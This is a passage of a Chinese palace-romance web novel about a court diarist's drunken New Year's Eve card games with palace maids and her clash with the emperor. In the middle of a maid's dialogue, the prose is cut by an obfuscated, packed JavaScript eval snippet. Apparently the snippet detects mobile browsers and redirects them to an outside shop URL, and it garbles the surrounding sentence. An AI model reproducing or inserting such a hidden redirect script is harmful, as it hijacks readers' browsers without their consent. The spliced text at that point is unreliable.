孟叙虽然挨揍又降薪,但好歹命和官位都保住了,让我的负罪感略轻了一些。 只是,我原以为他会治孟叙一个私通女官的罪名,但看样子,他很不愿意我和孟叙扯上关系,哪怕是罪名。 我摇摇头,觉得自己越来越搞不懂奇怪的狗皇帝了。 * 其实,不独是我猜不透李斯焱的心思,许多人都在暗中观察这个年轻的新皇帝。 作为为数不多的天子近臣,我和魏喜子被许多阿谀之辈划为重点来往对象,由于我被关在宫里出不去,这份福气顺理成章地落到了魏喜子的脑袋上。 魏喜子忧愁地向我倾诉:最近太多人问他皇帝喜欢怎么样的臣子了,他好累,都没力气喊早安紫宸殿了。 我真诚道:“喜子老哥,你信我,皇帝厚爱笨小孩,李斯焱他就喜欢你这样的。” 众所周知,李斯焱是个不讲道理的疯子,办事利落,性格执拗,尤其厌恶结党营私之事,在这个皇帝手下讨生活,听话老实比精明能干重要。 魏喜子看起来更愁了,他小声道:“我……我觉得两个起居郎里,他好像还是更中意你一些。” 我困惑极了:“哪个皇帝会喜欢脾气那么烂的起居郎?” 魏喜子道:“这说明咱们陛下广开言路,谦逊好学啊!” 我被这八个字震撼得久久无语。 ——魏喜子啊,你的经文先生教你使用美好含义的成语,是想让你拿这些词汇形容高尚的品行,不是让你用来猛击李斯焱的龙臀的…… 不过转念一想,魏喜子说的也不无道理。 我琢磨着,确实,我经常凶李斯焱,甩给他冷脸子瞧,但他很少责罚我,偶尔还会听听我的意见。 说明李斯焱此人虽看上去控制欲极强,其实有更强烈的被骂需求,需要有人跟他说点逆耳的忠言。 正巧今日我的一个御史朋友进宫述职,我立刻把我总结的为官心得告诉了我的御史朋友,试图指引他走向一条升官发财的康庄大道。 结果我的御史朋友表示:妹子醒醒,上一个这么干的人坟头草都能喂羊了。 我当即就慌了,立刻道那你别试了,还是保命要紧。 御史朋友感慨道:“要不怎么大家都说圣上对你不同寻常呢,看来流言不是空穴来风啊……” “什么流言?”我总感觉不会是什么好话。 “哟,我可不敢说。”我的御史朋友摸摸鼻子:“大概就是……圣上刚即位的时候斩了沈小娘子的父兄,现在约莫也有些后悔,所以才格外纵容沈小娘子些,还给了御前的要职作为补偿……” 我气得七窍生烟,连拍柱子:“谁他娘的嘴那么贱,这福气给他他要不要啊!” 庆福从屋里探出头来警告我:“小声点,别吵到陛下。” 御史朋友也吓得够呛,连连摆手道:“缨子你可别吓唬哥哥啊,外面都传,孟主书只因与你多说了两句话,就被圣上以殿前失仪为名罚掉了四个月的俸禄,哥哥还指着月银过活呢!” 我翻了个白眼:“知道你为什么能光明正大地和我聊天吗?” 御史朋友猜道:“因为我善良?” 我冷漠道:“错!因为你个是断袖!我告诉你吧,孟叙被罚禄,其实是因为他……” 庆福的脑袋像个大乌龟,又一次从门里探了出来,警告道:“我看该把你这张嘴缝上,你才晓得宫里的事不能往外说。” 还没等我开口,御史朋友已经一把把我的脸推开,搓手陪笑道:“庆福爷爷说的是,缨子确实口无遮拦了些,该改改,该改改,哈哈哈哈哈哈哈哈。” 庆福一脸“果然蠢货的朋友都是蠢货”的表情,又把头缩了回去。 御史朋友钦佩地看着我道:“看缨子在宫里果真备受宠爱,哥哥就放心了。” 我顿时有种不详的预感,搞不好今日过后,老娘在长安城里的形象,即将向恃宠而骄的小妖精狂奔而去。 ……还是当母夜叉吧,我心想,就凭我这平平无奇的容貌,自称磨人的小妖精,委实太不要脸了一点。 11. 第十一章-除夕叶子牌八卦会 时间过得很慢又很快,过了中秋重阳后,便是长安的冬季。 在一场纷纷夜雪后,李斯焱即位后的第一个年关来了。 宫里没有娘娘,过年的大担子统统掉在了素行的头上,寻常人家过年只需一家人在一块儿吃酒守岁就行,在宫里不一样,不但有元日大朝会,还有驱瘟疫,祭先祖,宴群臣等等一系列复杂工序,没个领头羊不行。 我光是听着,脑仁子就开始发痛,素行却十分激动地接手了这个巨型任务,并为李斯焱对她的信任而感到深深的荣耀。 还领着一群宫女跪地谢恩:“奴定不负陛下所托!” 我在旁边刷刷记起居注,心道真是见了鬼了,怎么会有如此浑然天成的奴才秧子。 在素行的指挥下,紫宸殿上上下下都开始为过年而忙碌,因这是狗皇帝即位后的头一个重要节日,大家都卯足了劲儿干活,以图在圣上面前露个小脸儿。 连偷懒高手夏富贵都跑来了紫宸殿好几次,向庆福推销掖庭出产的优质宫人,并反复强调我调教出来的人可比内侍局那群小兔崽子好使多了,谁使谁知道。 正好延英殿缺人,庆福便和他去瞧了瞧是怎么个好使法,回来的时候身后跟了一长串小童,像是老母鸭带一群小鸭子过河一样。 别人忙着过年,我依然日复一日地给狗皇帝记起居注,眼睁睁地看着他把先太子的势力一点点蚕食掉,把身下的龙椅坐得越来越稳固。 愤慨吗?不平吗?最开始会有,但到后来,越来越多的是一种平静的麻木。 我好像渐渐忘记掉了活着的意义,全凭着习惯活着,没有盼头,也没有动力,十五年后的出宫之日太过遥远,我不知道该怎么熬过去,起先我会看书,后来书看完了,我常常发呆,偶尔会写一点东西,可宫里的生活实在太压抑无趣了,到了后来,我连笔都懒得抬,因为根本找不到什么可写的。 整个人好像在慢慢枯萎。 我深觉不能再这样下去,托魏喜子休沐出宫时,给我带些书来。 “不拘是什么类型的,笔记,传奇,画本子都可以,只要有字就行,我实在受不了没书看。” 同为文化人,魏喜子对我的诉求深表理解,一口答应道:“好,我去禀明陛下。” “干嘛告诉他?”我双眼一立。 “啊……进宫是不准夹带物什的,没有陛下准许,我也没法子带书本进来啊……”魏喜子弱弱地提醒我。 挣扎很久后,我还是决定去找李斯焱。 他从他亲爹那儿继承了一屋子藏书,自己却从来不看,我觉得简直是在暴殄天物,对此觊觎已久。 我挑了个他心情松快的时候向他提了此事,这是我们半年来第一次工作之外的交流。 他很惊讶,两眼楞楞地瞧着我,像是看到了什么稀奇的西洋景。 我觉得我这个诉求很正常,怎么能不给一个文字工作者看书呢?不看书的文字工作者能干出像样的活吗?我成日被关在宫里,去不了弘文馆玩耍,还不能看看先皇的书了吗? 果然,他很快答应下来:“好,这一壁书你随便看,不用知会朕。” 我点点头,向他程序性地道谢。 “沈爱卿近来如何?”默了一默,他突然没头没脑地问道。 ……我觉得他在讽刺我。 我的日子能好吗?被关在宫里,天天跟仇人大眼瞪小眼,外头还传我和仇人的桃色绯闻……要不是婶子和小川还在他手里,谁乐意过这种狗屁倒灶的日子啊。 “谢陛下关心,我很好。”我硬邦邦地回答道。 “你喜欢看书?”他契而不舍地和我聊天。 “是。”我冷淡道。 今天的狗皇帝格外磨叽,我传达了明显的莫挨老子的信号后,他沉默许久,突然又开始说道:“陇西缺个辅军,朕想让唐令去,但宰相推举了杜勇。” “陛下想让谁去就让谁去。” “朕想开个恩科。” “开,事不宜迟。” “近日朝堂宁静,政务清闲,朕想寻个人陪朕读书作画,朕觉得……” 我头都不抬道:“这个更好办,翰林院内学士众多,各个都博学多才,陛下挑几个便是。” 被我怼回去后,李斯焱明显地手足无措了一瞬,随后,手足无措变作了恼羞成怒,冷冷道:“朕最厌恶翰林院里拿腔拿调的酸儒。” “那倒不如干脆别读书了。”我道:“陛下既看不起我等读书之人,便不要附庸风雅,没得也沾染上了那些酸气。” 李斯焱冷笑道:“你说得不错,朕确实厌恶你们身上这股子假清高,可惜你空有一身傲骨,还是要给灭门仇人的起居郎,想必日夜煎熬,恨不能杀了朕吧。” “还好,习惯了。”我诚实地答道:“我是觉得,陛下若不喜欢,用不着特意去学那些个琴棋书画的,当皇帝又不需要这些,像秦皇汉武之流,人家不爱看书,不也照样君临天下吗?” 单论嘴皮子功夫,李斯焱很少能真正赢过我,不过他有他的优势:仗势欺人。 他拂袖道:“此事朕已决定,多说无益,从年后起,晚间来书房陪朕读书。” 我气急败坏地想问你是不是有毛病,听不懂人话吗,但转念又想,狗皇帝从来都如此不讲道理,反抗也无用。 若是半年前,我一定会同他大吵一架,但现在我只觉得麻木,清楚了争论不会造成任何改变后,吵架的心一下就熄了,只恹恹道:“好。” 长时间的压抑环境确实会磨掉人的气性,我无端地有点难过,我以前是多有活力的一个姑娘,怎么现在就成了这样呢。 李斯焱却对我的乖巧感到十分开心,伸手揉揉我的头发,笑眯眯道:“这才乖。” 我生无可恋地闭上眼,感觉自己在被当成一只小动物揉弄。 * 再说回除夕之事。 除夕乃国定假日,我不用上工,睡了个美美的懒觉。 中午时被喧闹声吵醒,披衣把门一开,和门外正在大跳傩舞的侍卫小哥尴尬地四目相对。 “干嘛呢哥?”我看了一眼长长的跳大神队伍,猜道:“驱瘟疫?” 侍卫小哥腼腆地给了我一张桃符:“宫中仪式,驱邪埋祟,陛下吩咐我等一定要给沈娘子的院子也做一番法事。” 原来是狗皇帝打发来的。 我嗯嗯点头,把桃符随手夹在窗子上,又回屋呼呼大睡起来。 除夕夜宴本应该是后宫摆酒,但由于李斯焱的后宫里空空如也,他显然不能跟空气对着干杯,所以夜宴改为在延英殿里宴请几位心腹的臣子。 这样一来,庆福先前为延英殿选拔的那群小内侍便派上了用场,我们紫宸殿乐得清闲。 好不容易捱到了夜晚,素行和庆福两个奴才头子一走,紫宸殿的空气都松快多了,小金莲和小金柳剪了几枚窗花给我,我连连赞叹她俩手可真巧,我小时候剪的窗花跟鬼画符似的,谁见了都嫌弃,只有孟叙这个好赖不分的捧场王愿意接收我剪毁的窗花,并珍重地贴在窗上。 小金莲安慰我:“沈娘子的手是拿笔的手,金贵着呢,怎么能去拿剪子?” 我扶额道:“你不知道,我阿爹就是因为我怎么也学不会女工,他怕我没夫家要,才教了我读书写字,让我以后即使被夫家扫地出门,也能自己凭本事赚钱。” 听我提起父亲,小金柳露出了一点惆怅的神色道:“我和阿姐是顶替里长的女儿入宫的,里长给了我阿爹三贯钱,阿爹就同意了,也不知道他和弟弟如今过得怎么样。” 我忍不住道:“他卖你,你还惦念着他?” 小金柳摇摇头:“当时闹灾,家里一粒米都没了,把我们姐妹俩送进宫虽然狠心,却也好过一家人一齐饿死。” 小金莲也补充道:“是啊,跟乡下比,宫里也没什么不好,有吃有穿的,如果运气好一些,还能像素行姑姑那样做个女官呢。” 我笑道:“你们都觉得宫里好,怎么我却觉得宫里难过极了。” 另一个宫婢蝉儿正巧路过,便走过来道:“沈娘子和我们自是不一样的,我们打小儿就在宫里头,大字不识,只知道做伺候人的活计,才觉得宫里好,但沈娘子的出身模样才学哪个不是女子里顶尖的,还在外头见过大世面,当然过不得宫里的日子。” “是啊,外面更自由。”我托着腮,回忆道:“我还在史馆当差的时候,休沐日常常去东市买玉露酥山吃,或者去书坊买买书,去别的府邸上找朋友玩,但现在这些都没有了。” 蝉儿奇道:“玉露酥山是什么?和宫里的冰碗一样吗?” 我想了想道:“有些像,但酥山上的乳酪更甜一点,我常去的那家老板娘叫芸娘,手艺极好,如果日后有机缘了,我请你一顿。” 蝉儿是个爽利性子,也不推辞,大大方方笑道:“好啊,沈娘子以后请我们,可不准赖。” 今天素行不在,小宫女们的言行都没有往日那样拘束,见了我不绕着走,竟也能开几句玩笑了。 “今儿是除夕,我约了我们宫里的惠月,宿夕,还有蓬莱殿的阿萝她们一起玩投壶,不如你们几个也一块儿来吧?”蝉儿提议道。 小金莲和小金柳纷纷兴奋地点头,我也来了兴致,得意道:“哟,投壶我可是一把好手,待会儿可别说我欺负你们。” 蝉儿道:“往常我们一块儿打牌投壶,从来都不敢叫上沈娘子,生怕陛下瞧了生气。” 小金莲赶紧拉了拉蝉儿的袖子,示意她不要说太多。 我摇头道:“我明白,他从来看不得我开心,一见我笑就生气。” 这回连大大咧咧的蝉儿也不敢接话了,打着哈哈岔开话题道:“不说这个了,你们且跟我来。” 蝉儿带着我们去了她屋子前的一块空地,宿夕,惠月,还有阿萝三个小宫女已经等在了那里,见到我纷纷吃了一惊。 尤其是那蓬莱殿的阿萝,如今我在宫里算是个名震四方的人物,这小姑娘头一次见到我,眼睛都不知道该往哪里放了。 我友好地和她打招呼,她怯生生地嗯了一声。 小金柳小声对阿萝道:“你别怕,沈娘子是极和善的,没有传的那么可怕。” 阿萝又怯生生地看了我一眼,我总觉得这眼神十分诡异,她怕不是在找我的三头六臂藏在哪儿了吧? 不过,小娘子们的友谊总是建立得很快,我们一起玩了三圈投壶后,阿萝就认定我是一个大大的好人,抓着我请教投壶技巧。 “沈姐姐是怎么每一杆都中的!太厉害了吧!”阿萝星星眼。 蝉儿也在感叹:“沈娘子这手是怎么生的?不但字写得好,投壶都这般厉害,今晚的彩头可都归你了!” “哈哈哈哈过奖,唯手熟尔。”我谦虚了两句,把刚刚赢下的彩头交给了小金莲,吩咐她道:“金莲儿,你去御膳房,拿这些金子添几个酒菜来,送去我的屋里,过年就要有过年的样子!” 小金莲喜出望外:“哇,沈娘子要请我们吃酒?” 我豪迈地一挥手道:“金子不够的话尽管再找我要,快去快回!” 几个宫女自是欢欣鼓舞,大雪的天里,一群小宫女嘻嘻哈哈地拥进了我的屋子,好在我的屋子比寻常宫女们的要大些,进了那么多人也不显得局促。 听说我们要攒局打牌,蝉儿自告奋勇,又从宣微殿拉来了她的干妹妹小蝶,正正好好凑足八个人,能开两桌牌。 我从李斯焱的柜子里顺手牵羊了几枚蒲团,招待小娘子们坐下,没想到她们听说该蒲团承受过皇帝的尊臀后,全都拒绝落座。我只能郁闷地换成了素行的蒲团,大家一边聊着八卦,一边等小金莲打来酒菜。 “……往常我不敢说,但今天在座的都是姐妹,我就大着胆子和你们嚼嚼舌头,告诉你们,庆福爷爷啊,他不是一开始就跟着咱们陛下的,起先是跟着先太子,不小心犯了个小错儿被逐出了东宫,发配去了当时还是四皇子的咱们陛下府上,后来才得的赏识。” 紫宸殿当差的宿夕神秘兮兮道。 小金柳打了个寒颤:“庆福爷爷也有犯错的时候吗,我觉得他好可怕,一眼能看穿我的心思似的。” 我猜测道:“我记得那时候先太子结党营私,遭了先皇一顿责罚,说不定庆福是觉得待在东宫没前途,才铤而走险,想法子被罚出东宫,去了李……陛下府上烧冷灶。” 三皇子夭折后,先皇膝下就只剩三个皇子了,大皇子是东宫太子,二皇子是太子的小马仔,由于二皇子生母觉得李斯焱的存在是在昭示她失败的爱情,所以二皇子对李斯焱一直鼻子不是鼻子眼不是眼,没少找他的茬。 大皇子是太子,自觉没必要自降身份和小弟计较,这才养虎为患,等到察觉时已经晚了。 这些陈年老黄历都是哥哥当故事告诉我的,他是专业史官,最爱收集各种八卦,还会附上独家点评:“……你看,不论是天家还是寻常百姓,儿子一多必要打架……”我深以为然。 蝉儿也点头道:“我觉得有可能,都说庆福爷爷和太后娘娘生前有点交情,没准就是这层关系,才让庆福爷爷在陛下还当皇子的时候便投靠了过去。” “原来如此!”宿夕一拍桌子:“庆福爷爷好眼光啊!” 平时这些宫女不敢如此放肆地讨论庆福的八卦,但今天有我在场,她们就像是领到一块免死金牌一样,什么都不怕了。 反正天塌下来也有我来顶着,在她们眼里,我别的不怎么样,唯独拉仇恨的本事内苑一绝,不仅仇恨拉得稳,血还特别厚,落别的宫女头上动辄拖出去打死的罪名,在我身上可能就只会有一点点不痛不痒的处罚。 有这么个神仙在,当然要把平时不敢讲的八卦统统说个过瘾啦! 这时,小金莲在外面叩门道:“沈娘子,酒菜来了。” 众女欢呼起来,开门的开门,斟酒的斟酒,小金莲点菜水平极高,葵叶,胡饼,烤羊肉,生鱼脍,荤素搭配,应有尽有,大家开开心心地一起用了一顿饭,席间又抖出了不少宫廷流言。 阿萝女士贡献了本场最劲爆的八卦:“素行姑姑她和我们殿的大管事齐爷爷是对食呢,我上次瞧见他们一道儿回屋子了。” 啪嗒,我的筷子掉在地上,往边上一看,其他姑娘也是一脸震惊。 “妈呀想不到啊!素行平时看着古板严肃,背地里偷偷搞对食,噫!齐管事长得俊不俊?!”我激动得不能自己,面露猥琐之色。 果然人类对桃色新闻有着最原始的热爱。 “这有什么,我上回还听说我们宣微殿要进新娘娘呢。”小蝶不甘示弱,也积极提供下水道消息,还添油加醋了一句:“据说是琅琊王氏的娘子,还有巨鹿魏氏的娘子。” 此话一出,整个桌子都炸了,大家纷纷开始激烈讨论将来要伺候的娘娘,我兴奋地吹了个口哨,进人好啊,进人太好了,多来几个娘娘把狗皇帝掏空,他也就不用天天折磨我了! “王氏,魏氏,这可都是高门贵女啊。”我从史官的角度进行分析道:“我看咱们这个江山看似坐稳了,实则还远远谈不上高枕无忧,要不干嘛纳进来这么一串娘家势力庞大的女儿,居心不良啊。” 姑娘们面面相觑,最后是蝉儿开了口:“沈娘子说的有理,但我们姐妹不懂什么江山啊势力啊之类的,只觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599799|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有新娘娘进来,咱们各宫姐妹的日子就要忙碌些了,对了,听说明年要选秀,不知是真是假。” 一直沉默的惠月突然道:“应该不是真的,我干娘说,圣上没有选秀的意思,就算有选秀,也要等皇后进了宫才选。” 我直呼牛逼,好家伙,这一桌简直卧虎藏龙啊,啥消息都能给打听出来。 “我们菜吃得差不多了,不如开两桌叶子牌吧!”小蝶变戏法一样从袖子里摸出两幅牌来,这丫头和她干姐姐蝉儿一样,是个丫头堆里的领袖人物,一呼百应。 “好啊好啊,快些摆牌,分两桌,小心别碰倒了酒。”宿夕头一个行动起来,轻车熟路地指挥着小金莲小金柳搬桌子。 我撸起袖子笑道:“嘿嘿,给你们瞧瞧什么叫安邑坊牌王。” 阿萝道:“既然沈娘子厉害,那一定要让宿夕姐姐和蝉儿姐姐和沈娘子打,才算棋逢对手,论起打牌,我们这几宫里就数她们二人最能耐了!” 宿夕坦然接受挑战。自信地往我对面一坐,小下巴一抬道:“行!今儿要来领教领教沈娘子的厉害!” 我把牌拍在桌上,挑衅道:“以下克上!” 好久没笑得那么畅快了,这一刻我好像回到了亲人还没被杀,我还是长安城里无忧无虑的沈小娘子的时光里,外面天寒地冻,小屋子里点着炭火,姑娘们凑在一处玩耍,没有素行庆福和狗皇帝在旁,每个人都笑得如此开怀自然,散发着年轻女孩该有的生命力。 今朝有酒今朝醉,管它日后如何,反正这一刻我是快乐的。 然后我短暂的快乐终结在了牌桌上。 宫里的人果真厉害,人均多长了几百个心眼子,我连输了三局,被宿夕和蝉儿两个女诸葛按在地上反复摩擦。 “哎哟,这便是安邑坊牌王的厉害吗?”宿夕笑得花枝乱颤,轻扬素手,往我的下巴上啪地贴了个白条,和蝉儿一块儿笑道:“沈娘子若是安邑坊牌王,我就是紫宸殿赌圣了!” 蝉儿嘴也损:“大概安邑坊的住户都不爱打牌吧。” 我的鼻子下面贴了两根条儿,下巴上又贴了一根条儿,小金莲脸上两道,宿夕和蝉儿的脸上则干干净净。 这两个女人实力高深莫测,平时不显山不露水,一旦往牌桌上一坐,那气韵仿佛张辽镇合肥,田单守即墨,一夫当关万夫莫开,震得我和小金莲两个弱鸡瑟瑟发抖, “认不认输啊?”宿夕笑嘻嘻地问。 “当然不认,再来!”我越挫越勇。 啪,啪,啪,不认输的后果是我脸上又被贴了三个纸条儿,造型宛如中元夜出来蹦跶的小僵尸。 纸条贴得太满,随着我的吸气呼气上下摇摆,十分滑稽。 “我认,我认……”又是几圈打完,我败走麦城,悻悻道。 “愿赌服输!沈娘子爽快,来来来,且表演个节目给姐妹们看看!”蝉儿起哄。 宫里不允许聚众赌钱,一般牌桌上的输家都要给姐妹们表演节目取乐。 我顶着一脸纸条,冥思苦想着自己能表演个啥,挠挠头道:“唱曲儿跳舞我可都不会啊,不如我给大家写几对春联?” 阿萝失望道:“写字好没意思啊……还有别的吗?” 我也不想扫她们的兴,仔细一想,突然福至心灵道:“我舞个剑吧!” * 凡是为人儿女者,尤其官宦子弟,有件事是决不可能逃过的,那就是:当众表演节目。 那个夜晚,我回忆起了小时候为亲戚朋友们表演七步成诗,童声歌唱,三笔一只龟等等儿童节目的恐惧。 为了培养我的表演能力,我二叔特地找了他的朋友教坊司苏大娘来教了我舞剑入门课程,从此他侄女我横扫一切亲戚聚会节目,人人看了都说好。 随着我慢慢长大,我从为家长表演的小孩变成了威逼别的小孩表演节目的大人,屠龙者终成恶龙,由于作恶太久,本恶龙差点忘了自己曾经当过屠龙少女,还有过舞剑的技能。 “这个好!”众女抚掌笑道:“那剑呢?” 我四下一望,领着她们进了院子,掰了两根挂着冰碴子的树枝下来,笑道:“剑有了,你们退开点,我开始了。” 说罢,我一口干了剩余的酒,学着江湖游侠的调调儿,把坛子往雪地里一扔,晃晃悠悠拉出了起手式。 众女鼓掌喝彩,小蝶很专业地给我来了套赞词。 酒意上涌,我开始慢慢醉了。 “长安大道连狭斜,青牛白马七香车,玉辇纵横过主第,金鞭络绎向侯家。”我高声唱道,手持树枝,开始了我的表演。 这段剑舞是由当朝诗人的歌行改编,要且舞且歌。 按理来讲,剑器之舞是极为刚健的一种表演,但我喝多了酒,眼前发昏,完全没有那种天地低昂的气势。 还好我的观众全都是捧场高手,看着我手持榆树枝蹦蹦跳跳,听着我荒腔走板的歌声也不嘘我,还特别热烈地鼓掌起哄,极大增加了我的信心。 阿萝叫的最大声:“好!沈娘子厉害!” 我舞得更加来劲,大步向前,展眉唱道:“比目鸳鸯真可羡,双去双来君不见,生憎帐额绣孤鸾,好取门帘帖双燕。” 一边唱,一边在雪地里行剑,翻跳,有些动作我已不太记得,全凭着本能在控制我的身体。 裙摆随着舞步翻飞,身体里的酒水蒸腾起来,把我的脸颊烧得彤彤照日。 脸上的条子也在随风款摆,小金柳调的浆糊不太牢固,舞剑的时候掉了四条,转了两个圈子后,我脸上只剩了两根还健在。 一步接着一步,我的后背挺得笔直,手腕用力,树枝挽出利落漂亮的花。 苏大娘说过:剑以证道,舞以尽意,剑舞是一门浑脱淋漓的功夫,你怎样想,你的剑舞就会是怎样。 我的发髻散了,头发尽数垂落,颓丧又疯狂。 酒真是个很好的东西,使人忘忧忘愁,人不能清醒,一清醒就容易痛苦。 那些女孩们在笑,在鼓掌,在热烈地应和我,我也大笑舞剑以报之,可不知从何时起,她们的声音渐渐息了下去,我觉得奇怪,脚下却没有停,突然间,这群姑娘突然齐刷刷跪在了雪地上,一动也不动。 “罗襦宝带为君解,燕歌赵舞为君开……咦?” 我困惑地收了声,放下树枝,醉醺醺走过去问道:“你们怎么了?” 混沌的天地里,我影影绰绰地看到小金莲惊慌地抬头望了我一眼,蠕动嘴唇,极轻极轻道:“沈娘子,你看后面。” 我脚底打飘,转头一瞧。 只见小院门口,素行和庆福两尊大佛面无表情地镇在两侧,最中间站着面无表情的狗皇帝。 三倍的一脸死相,三倍的讨厌。 李斯焱今天穿了玄色的深衣,配了油光水滑的大氅,贵气逼人,压迫感十足。 大概也是喝了酒,他脸上有一丝薄红,配着邪气俊朗的狗脸,有那么点醉玉颓山的味道。 哎哟,多好一张脸,怎么就长在了狗皇帝身上?我遗憾地想。 “沈缨,过来。”脸的主人启唇命令道。 我站在原处,冷冷睨着他。 “啧,大过年的,真晦气。” 我把树枝信手扔了,摇摇晃晃地走到门口,在十几双眼睛的注视下抬起腿,啪地一声,把门狠狠踹上了。 门关上的那一瞬间,小金莲的身体猛烈地颤抖了一下,几个宫女都懵了,连胆子最大的蝉儿,都吓得瘫在地上,一个字说不出来。 一个起居郎,不仅无视了皇帝的召唤,甚至还当着皇帝的面踹上了门。 她一定是活得不耐烦了。 12. 第十二章-紫宸殿牌王历险记 “敢关门?”门外的李斯焱森森地笑了,吩咐庆福道:“砸开。” 庆福抹了一把脸,劝道:“陛下您吃多了酒,不如……” 李斯焱把他往前一推,冷冷道:“闭嘴,把这破门给朕拆了!” 庆福被李斯焱的无情铁手往前猛推,险些摔了个狗吃屎,见势不妙,硬着头皮高喊声道:“沈起居郎!你听见了没,陛下要你把门打开!” “老娘就不!” 铮,一声轻响,我利落地落了锁。 庆福的话卡在了嗓子眼儿,门外一片死寂。 我嘿嘿一笑,嚣张地扯着嗓子喊道:“李斯焱算哪根小秋葵,让他滚回他的紫宸殿里喊娘亲去,杀了我全家还在这里跟我摆谱,要不要脸呐?” 不要狗脸!不守狗德! 越想越气,我恼怒地又添了一句:“摆谱也就算了,还处心积虑毁我清白,李斯焱老娘告诉你,长安子弟各个知书达理,一手鞠球扔出去都能砸中一个比你强的,你想让我顺从你?做梦!” 蝉儿在后倒吸了一口凉气。 半晌,门外狗皇帝没有一丝温度的声音飘了进来:“沈缨,你灌了多少黄汤,还知道自己在说什么吗。” 我还想再骂,这时蝉儿终于反应了过来,连滚带爬猛地扑了上来,一把抓住了门栓,满脸惊恐道:“沈娘子使不得!快开门跪下!” 我皱眉道:“你怕他?” 蝉儿拼命摇头,死死抓住门栓哭道:“沈娘子不开门,我们都要没命的,金莲金柳,宿夕,你们快过来啊,我一个人拉不住她!” 其他姑娘如梦初醒,赶紧围过来把我强行拉走,一群弱质少女,在惊恐之下爆发出了惊人的力量,竟然硬生生地把我这个发癫的酒鬼给拖走了。 前一秒还为我鼓掌的姑娘们,后一秒就叛变了阵营,我郁闷极了,嘟囔着道:“好啦,我依你们的。” 蝉儿颤抖着把门打开,李斯焱冷冽的脸出现在门外,温度比这数九寒天还要低几分。 “滚开。” 他一脚踹开蝉儿,大步入内。 蝉儿被踢倒在了雪地里,连痛都不敢呼一声,挣扎着恢复了跪姿,把头死死埋在了地上。 我看着气势汹汹的李斯焱,歪了歪头,笑了。 他逼近我,如一座山一样,脸上没有一丝表情,我隐约嗅到了他身上的酒味,是剑南的烧春还是宜城的九酝?反正是好酒,比我喝的浊酒好多了。 于是我吃吃笑道:“你的酒也给我喝一点。” 他也噗嗤一笑道:“朕算哪根小秋葵,沈爱卿也看得上朕的酒?” 我眼角余光瞥到素行粗暴地拎起被吓懵了的小金柳,低头道:“不要罚蝉儿她们,是我请她们吃酒的。” 李斯焱点点头:“那你呢,你觉得自己该怎么罚?” 我酒意又上来了,眉眼一弯,笑道:“我怎么知道?反正你要罚我,我把剑舞完你再罚。” 他的目光暗了暗,手指蜷缩在一起,又慢慢伸展开。 “我看应该给你醒醒酒。”他轻声道。 “嗯?”我迷迷糊糊道:“你想干什么?” 我看到李斯焱蹲下身子,挖起一片柔白的雪,掂了掂,无情地塞进了我的衣领子。 “啊!” 刺骨的寒冷从脖颈出传来,我浑身剧烈地一颤,身体像虾子一样弓起来,手忙脚乱地把雪往外抓,气恼道:“李斯焱你发什么疯!” “清醒点了吗。”他把我揪起来,掐着我的脸冷笑道:“想不到你还有耍剑的本事,朕陪着一群老油子喝了一晚上的酒,你倒好,高高兴兴跟朕的宫女们玩起了牌,瞧着你这得意的样儿,还知道把朕锁在外头,真是长本事了。” 他又捻了捻我脸上挂着的纸条儿,讽刺道:“这是输了多少?” 这狗东西真是哪壶不开提哪壶!我羞恼地拍开他的手道:“今晚状态不好罢了!我平时可是很厉害的!” “你厉害?”他抱起了胳膊:“你厉害还拿个树枝子到处比划?让一群宫女给你叫好?” 我眨了眨眼,品出了他话语里满满的酸气。 脑海里灵光一闪,哦,我悟了! “对啊,今晚你跟一群臭男人喝酒,老娘和姑娘们风流快活。” 我自觉看穿了他,得意洋洋地扬起下巴道:“你嫉妒我们打牌啊?好啊,叫上庆福他们,我们再开一桌,让你打个痛快!” 醉鬼的脑回路总是那么的清奇,他找我茬,我拉他打牌。 李斯焱愣住了。 顿了顿,他皱眉道:“沈缨,你的脑袋是不是被喝坏了?” “没,我好得很。”我打了个酒嗝,伸出两根手指,咬牙切齿道:“老娘……要把宿夕叫上,这女的是个高手,我和她一起,哼,杀你个片甲不留。” 李斯焱懵了,拍拍我的脸道:“你在说什么。” 我一把揪住他的领子,整个人扑在他的胸前,踮起脚蛮横道:“别装了,我知道你嫉妒我们玩得开心,你也想跟我们一起打牌对不对,没问题,老娘陪你打,你看我对你多好啊,除夕的晚上还想着伺候你,李斯焱你应该给我发三倍的俸禄,再给我发一个金牌奴才的牌匾才对。” 他皱眉道:“什么乱七八糟的,谁要和你打牌。” 我来劲了,凑近他的脸,挑衅道:“啊?你怕啦?” 他的目光古怪飘忽,慢慢转到我抓他衣襟的手上,又落在我仰起的脸上,他眨了眨眼,顿了良久后,哑声回答道:“好,打牌。” * 几十年以后宿夕还记得,那年除夕之夜,自己因为出色的牌技,被发疯的沈缨女士强行架上了御书房的软榻,和皇帝陛下李斯焱,内侍大总管杨庆福,还有比他们两个加起来还要横的起居郎沈缨打了一场叶子牌。 被沈缨找上门时,宿夕大惊失色,做梦也想不到自己招来了这等祸事,双膝发软,带着哭腔道:“沈娘子,你饶了我吧,我……我怎么能……” 怎么能上皇帝的牌桌呢! 醉醺醺的沈缨杏眼一立,摸着下巴道:“宿夕你想跑啊,不行哦,我已经跟陛下说了让你上,现在三缺一,就差你了。来吧?” 宿夕的推辞一下卡在了喉咙口,眼前一黑。 沈缨喝醉了,巴掌大的清秀小脸蛋儿绯红一片,和平日里灵秀慧黠的样子大相径庭,倒是有几分和年龄不相称的妩媚。 宿夕看着沈缨小恶魔一般得意的模样,想晕过去了事,又怕晕过去被治个抗旨之罪……总之,左右为难。 但这样僵持着也不是办法,宿夕咬紧了后槽牙:只得硬上了! 临走时惠月低声对她道:“你要输,但要想法子输得自然点,别让陛下看出来。” 沈缨凑过来道:“惠月你说什么?我听不见。” “没什么,”惠月迅速切换成一张真诚的笑脸:“宿夕,你要拿出你的本事呀!” 